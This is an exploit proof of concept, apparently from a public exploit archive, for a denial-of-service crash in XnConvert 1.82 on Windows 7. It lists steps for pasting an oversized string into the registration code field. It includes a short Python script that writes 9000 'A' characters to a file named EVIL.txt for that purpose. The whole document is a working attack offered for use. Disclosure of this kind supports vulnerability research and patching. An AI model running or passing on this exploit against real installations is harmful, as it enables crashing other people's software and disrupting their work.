XnConvert 1.82 – Denial of Service (PoC)
# Exploit Title: XnConvert 1.82 - Denial of Service (PoC) # Date: 2019-12-21 # Vendor Homepage: https://www.xnview.com # Software Link: https://www.xnview.com/en/apps/ # Exploit Author: Gokkulraj (TwinTech Solutions) # Tested Version: v1.82 # Tested on: Windows 7 x64 # 1.- Download and install XnConvert # 2.- Run python code : XnConvert.py # 3.- Open EVIL.txt and copy content to clipboard # 4.- Open XnConvert and Click 'EnterKey' # 5.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code' # 6.- Click 'OK' and you will see a pop-up stating Invalid code and then click 'OK' you will see the crash. #!/usr/bin/env python Dos= "\x41" * 9000 myfile=open('Evil.txt','w') myfile.writelines(Dos) myfile.close() print("File created") |